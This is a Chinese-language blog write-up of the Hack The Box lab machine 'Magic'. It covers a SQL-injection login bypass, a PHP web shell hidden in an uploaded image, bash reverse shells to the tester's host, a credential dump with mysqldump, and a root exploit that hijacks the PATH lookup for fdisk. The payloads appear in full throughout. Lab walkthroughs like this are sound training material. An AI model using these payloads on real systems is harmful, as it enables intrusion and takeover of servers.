• 【Hack The Box】linux练习-- Magic


    HTB 学习笔记

    Hack The Box】linux练习-- Magic


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月21日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    2/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
    |   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
    |_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
    80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: Magic Portfolio
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    页面左下角存在一个登录界面

    在这里插入图片描述在这里插入图片描述而在这里我们没有任何的弱口令,所以接下来我开始爆破目录
    希望能从之后的目录中得到一些启示

    gobuster dir -u http://10.129.17.255/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x php
    
    • 1

    得到结果如下

    /images (Status: 301)
    /index.php (Status: 200)
    /login.php (Status: 200)
    /assets (Status: 301)
    /upload.php (Status: 302)
    /logout.php (Status: 302)
    /server-status (Status: 403)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    我将对images深入扫描
    因为跟图片相关,并且他是403
    我想这个目录于我而言是必须的

    在目录爆破的同时我尝试对登陆框进行sql注入
    首先尝试了账号密码均为admin' or 1=1
    依旧说用户名或者密码错误‘
    但是当我用户名输入admin,密码输入’时候,没有密码错误提示
    说明此处存在sql注入
    我将按照
    https://book.hacktricks.xyz/pentesting-web/login-bypass/sql-login-bypass
    进行尝试
    最终,当我的用户是下面这的的时候我成功了
    ' or 1=1-- -
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    文件上传

    直接上传不行
    在这里插入图片描述bp抓包修改也不行
    加gig头部也行
    双后缀似乎可以
    因为它显示了不一样的东西,问我想要在这里做什么
    这说明我可能是找到了正确的路?

    在这里插入图片描述
    不过我刚才抓包发现我上传的文件都被作为请求数据发过去的

    所以应该还是不行

    我上传了一个图片,发现成功是这样的,左上角会提示,只有也就证明了我上传的后门文件被检验了
    而说明我刚才的后门没有上传成功
    在这里插入图片描述
    至此我开始思考,我该如何应对
    首先,常见的三种过滤如下

    文件扩展名阻止/允许列表;
    文件的mimetype 或 Magic bytes 必须与允许的类型相匹配;
    Content-Type图像上的标题必须是图像。
    
    • 1
    • 2
    • 3

    第一种我们可以用双后缀绕过
    对于后两种,我们可以用图片注入的方法

    图片注入

    首先我们要搞一张正常的图片
    直接vi打开图片

    <?php system($_GET[‘cmd’]); ?>
    
    • 1

    然后随表找个地方插入一段
    改个名
    同时我们刚才深层爆破image目录也发现了他下面的uploads文件夹,我们的图片就在这其中应该
    尝试访问并传入参数cmd=id
    全文搜索一下uid,找到了,说明rce成功
    接下来url编码随便一个反弹shell命令即可

    在这里插入图片描述在这里插入图片描述应该是被清理掉了

    结果404了,我再次尝试一次,这次我会快速操作
    需要你自己进行url编码,防止出错

    http://10.129.17.255/images/uploads/haha.php.jpeg?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.29/8888%200%3E%261%27
    
    • 1

    在这里插入图片描述
    在/home中我发现了另一个用户theseus
    并且我无法看到user.txt
    所以我将努力获得theseus的权限
    在这里插入图片描述
    所以我作为www用户,我将在我的magic建站目录下仔细枚举,正如上面的
    我发现了很多php文件,我将cat他们,看看有没有泄漏的信息
    在这里插入图片描述他们都是www权限,所以我将暂不考虑他们所带来的命令执行,只希望在它们之中获得凭据
    在这里插入图片描述
    发现信息

    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';
    
    • 1
    • 2

    我将尝试密码复用

    在这里插入图片描述
    失败,那就只能老老实实去数据库了
    我将查看数据库的开放情况
    netstat -ntulp

    在这里插入图片描述
    在这里插入图片描述
    他的本地没有mysql的执行文件

    于是我输入mysql[tab][tab]
    
    • 1

    会显示出mysql的所有可用工具

    mysql
    mysql_config_editor mysqld
    mysql_embedded mysqld_multi
    mysql_install_db mysqld_safe
    mysql_plugin mysqldump
    mysql_secure_installation mysqldumpslow
    mysql_ssl_rsa_setup mysqlimport
    mysql_tzinfo_to_sql mysqloptimize
    mysql_upgrade mysqlpump
    mysqladmin mysqlrepair
    mysqlanalyze mysqlreport
    mysqlbinlog mysqlshow
    mysqlcheck mysqlslap
    我发现了mysqldump

    mysqldump的使用
    mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic
    
    • 1

    而后在所有信息中,我们看到了admin
    还有一个密码,我将再次尝试密码复用
    这一次成功了
    在这里插入图片描述
    在这里插入图片描述

    提权

    内核提权

    [+] [CVE-2021-3156] sudo Baron Samedit

    [+] [CVE-2021-3156] sudo Baron Samedit 2

    找到两个,没有高可能,暂时不考虑

    信息枚举

    在这里插入图片描述正常的开放631没有什么特殊服务
    在这里插入图片描述find / -user root -perm -4000 2>/dev/null -ls

    发现了user用户可以执行的并且是root权限的二进制文件
    在这里插入图片描述
    执行看一下
    在这里插入图片描述
    sysinfo打印出一堆调用
    我将用ltrace来看看他具体调用了那些函数

    我发现了一个popen打开了fdisk
    并且fdisk没有绝对路径,我将挟持fdisk
    在这里插入图片描述

    环境变量挟持一个

    原理就是在当前目录写一个名字相同的二进制文件,但是里面输入的是反弹shell命令,然后将当前目录添加到环境变量,然后在当前目录执行脚本,就会调用你自己写的命令

    echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.29/443 0>&1' > fdisk
    
    • 1

    在这里插入图片描述
    而后cjmod +x fdisk
    本地开个端口,然后执行一下
    检验一下能否正常运行在这里插入图片描述

    export PATH=/tmp:$PATH
    echo $PATH
    
    • 1
    • 2

    确实写进去了
    在这里插入图片描述
    在这里插入图片描述
    ok

  • 相关阅读:
    Unity资源无法下载 反复提示需同意Terms of Service和EULA 同意后无效的解决方案
    设计模式浅析(七) ·适配器模式
    /usr/bin/ld: cannot find -lc错误原因及解决方法
    Spring扩展接口(2):BeanDefinitionRegistryPostProcessor
    技术交流 | 装配式设计中BIM到底用在哪?
    GFS分布式存储
    软考 - 标准化与知识产权基础知识
    性能测试你需要懂这些
    DGL安装教程
    node項目的开发
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127975355